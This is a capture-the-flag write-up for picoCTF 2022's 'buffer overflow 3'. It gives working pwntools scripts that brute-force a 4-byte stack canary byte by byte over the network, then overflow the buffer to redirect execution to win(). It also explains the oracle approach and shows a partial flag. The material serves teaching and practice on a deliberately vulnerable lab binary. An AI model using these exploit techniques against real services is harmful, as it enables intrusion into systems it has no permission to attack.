buffer overflow 3 picoCTF 2022 Solution

Description

1. Step 1

   Understand how the canary works

   Observation

   I noticed the challenge description explicitly mentions a 4-byte secret value placed between the buffer and the saved return address, which suggested the primary obstacle was a stack canary and that understanding its layout was necessary before attempting any overflow.

   The 4-byte canary sits between the buffer and the saved return address. Overwriting it without knowing its value triggers abort().

   Learn more

   A stack canary is a random value placed by the compiler (or in this case, manually by the challenge) just below the saved return address on the stack. Before a function returns, the canary value is compared against the original. If they differ, __stack_chk_fail() is called, printing "stack smashing detected" and killing the process.

   Modern Linux binaries use GCC's -fstack-protector-strong flag to generate canaries automatically. The canary value is stored in a thread-local variable (fs:0x28 on x86-64) and refreshed per-process. In production you cannot read it - but this challenge intentionally writes it to a known file to make brute-forcing feasible.

   The key insight: because the program lets you send input multiple times (once per brute-force attempt), you can test one byte at a time. With 256 possibilities per byte and 4 bytes, you need at most 4 * 256 = 1024 attempts - far more tractable than guessing all 4 bytes at once (2^32 = ~4 billion).

2. Step 2

   Brute-force the canary one byte at a time

   Observation

   I noticed the server allows repeated connections and returns a readable 'stack smashing detected' message on canary mismatch, which suggested a byte-at-a-time oracle attack was feasible since each byte position could be confirmed independently by the presence or absence of that error string.

   Send buffer-fill + known-good prefix + one trial byte. The byte that does not produce 'stack smashing detected' is correct.

   python

   python3 -c "
   from pwn import *
   import socket
   
   HOST, PORT = 'saturn.picoctf.net', <PORT_FROM_INSTANCE>
   BUFFER_SIZE = 64   # confirm via objdump: grep 'sub.*esp' or read source
   canary = b''
   
   for i in range(4):
       for byte in range(256):
           try:
               p = remote(HOST, PORT, timeout=3)
               p.recvuntil(b'>', timeout=2)
               p.sendline(b'1')                       # 'write' option
               p.sendline(b'A' * BUFFER_SIZE + canary + bytes([byte]))
               p.recvuntil(b'>', timeout=2)
               p.sendline(b'2')                       # trigger canary check
               resp = p.recvall(timeout=1)
           except (EOFError, socket.timeout, ConnectionError):
               continue                               # treat as crash, try next byte
           finally:
               try: p.close()
               except: pass
           if b'Smashing' not in resp and b'abort' not in resp:
               canary += bytes([byte])
               print(f'Byte {i}: 0x{byte:02x}  canary: {canary.hex()}')
               break
       else:
           raise SystemExit(f'No matching byte at position {i}')
   print('Canary:', canary.hex())
   "

   Copied!

   What didn't work first

   Tried: Send all 4 canary bytes at once by guessing a common canary value like 0x00000000 or a repeated pattern.

   The program immediately aborts with 'stack smashing detected' for any wrong 4-byte guess, giving no partial feedback. The brute-force only works because the program tolerates a connection per byte attempt - one byte at a time collapses the search space from 2^32 to 4 * 256 guesses using the crash-or-no-crash oracle.

   Tried: Use a fixed BUFFER_SIZE of 64 without verifying it against the source or disassembly.

   If the actual buffer is smaller or larger, the canary bytes in the payload land at the wrong stack offset and every byte attempt produces a crash even for the correct value. Verify with 'objdump -d vuln | grep -E sub.*esp' or read the C source declaration to get the exact allocation before starting the loop.

   Learn more

   The loop is a byte-at-a-time oracle attack: a binary oracle (crash vs no crash) plus prefix reuse collapses 2³² down to 4 * 256 = 1024 attempts. Same idea as the padding-oracle attacks behind POODLE.

   Why error handling matters here. Brute-forcing over the network means flaky connections, server-side timeouts, and abrupt closes that look identical to a crash. Wrapping the recv in try/except lets you treat any failure as "assume crash, try next byte" instead of getting stuck. The else on the inner for raises if no byte matched - that's your signal that the loop is broken (wrong BUFFER_SIZE, wrong prompt, etc.) rather than silently iterating forever.

   Reading the C source - what to extract:

   • Buffer declaration: char buf[N] -> gives you BUFFER_SIZE = N.
   • Menu structure: which option triggers the unsafe input (here, "write"), and which option triggers the canary check on return ("read", or whatever forces the function to ret).
   • Canary location: usually a global or stack-local placed just below the saved EBP.
   • Failure string: exact bytes of the abort message - you grep for it in the response.

   No source? Pull BUFFER_SIZE from the disassembly: objdump -d vuln | grep -E 'sub.*esp' shows the frame allocation. The buffer is somewhere inside that frame (rarely the entire allocation, since locals also live there).

   Why this oracle approach works at all. The challenge lets you make repeated attempts. If it didn't - one shot per connection, no retry - you'd need a memory disclosure (format-string leak, OOB read) to read the canary instead. See the "flag leak" challenge for that pattern.

3. Step 3

   Build the final exploit with the recovered canary

   Observation

   I noticed the brute-force loop had recovered all 4 canary bytes, which suggested it was now possible to craft a complete overflow payload that preserves the canary intact and overwrites the saved EIP with the address of win() to redirect execution.

   Now that you know the 4-byte canary, craft the full overflow: buffer + canary (unchanged) + 4-byte saved EBP padding + win() address.

   python

   python3 -c "
   from pwn import *
   elf = ELF('./vuln')
   win_addr = elf.symbols['win']
   BUFFER_SIZE = 64
   canary = bytes.fromhex('CANARY_HEX_HERE')
   
   # Layout: [buffer] [4-byte canary] [4-byte saved EBP] [4-byte saved EIP]
   # Add extra padding only if disassembly shows additional locals between
   # the canary and the saved EBP.
   payload  = b'A' * BUFFER_SIZE
   payload += canary              # match exactly - check passes
   payload += b'B' * 4            # saved EBP filler
   payload += p32(win_addr)       # overwrite saved EIP
   
   p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>)
   p.sendlineafter(b'>', b'1')
   p.sendlineafter(b'>', payload)
   print(p.recvall().decode())
   "

   Copied!

   Expected output

   picoCTF{Stat1C_c4n4r13s_4R3_b4D_...}

   What didn't work first

   Tried: Use 16 bytes of filler between the canary and p32(win_addr) instead of 4.

   16 bytes only fits if the disassembly shows extra locals allocated between the canary and the saved EBP. In a standard cdecl frame the saved EBP sits immediately above the canary (4 bytes), so 16 bytes of filler overwrites EBP plus the first 12 bytes of whatever follows - putting win_addr at the wrong stack slot and causing a segfault or corrupted return rather than landing on win().

   Tried: Hardcode win_addr as a hex literal from a local test run instead of reading it with elf.symbols['win'].

   The remote binary may have been compiled with ASLR disabled but with a different base or a slightly different build from the one you tested locally, shifting win() to a different address. Using elf.symbols['win'] on the downloaded binary ensures the address matches the server's copy of the same binary.

   Learn more

   With the canary known, the payload is mechanical: fill the buffer, write the canary back unchanged so the epilogue check passes, then 4 bytes for the saved EBP, then your p32(win_addr) over the saved EIP. The 4 bytes after the canary correspond to the saved EBP slot - not 16 - because in the standard cdecl frame the canary sits immediately above the locals and the saved EBP sits immediately above the canary. The previous version had 16 bytes of filler, which only makes sense if the disassembly shows additional locals between canary and saved EBP; verify locally.

   When the function returns, the canary check loads __stack_chk_guard, XORs it with your stack value, and jumps to __stack_chk_fail if non-zero. Because you wrote the same bytes back, the XOR is zero, the function reaches ret, and your win() address takes over.

   Real binaries pull the canary from a thread-local at fs:0x28 (x86-64) and refresh it per-process from /dev/urandom. Brute-forcing won't scale. Format-string vulnerabilities (see flag-leak) can leak the canary out of memory, which is the more general bypass. See pwntools for CTF for canary-leak helper patterns.

Flag

Brute-force the 4-byte canary one byte at a time, then overflow with the correct canary preserved to bypass the check.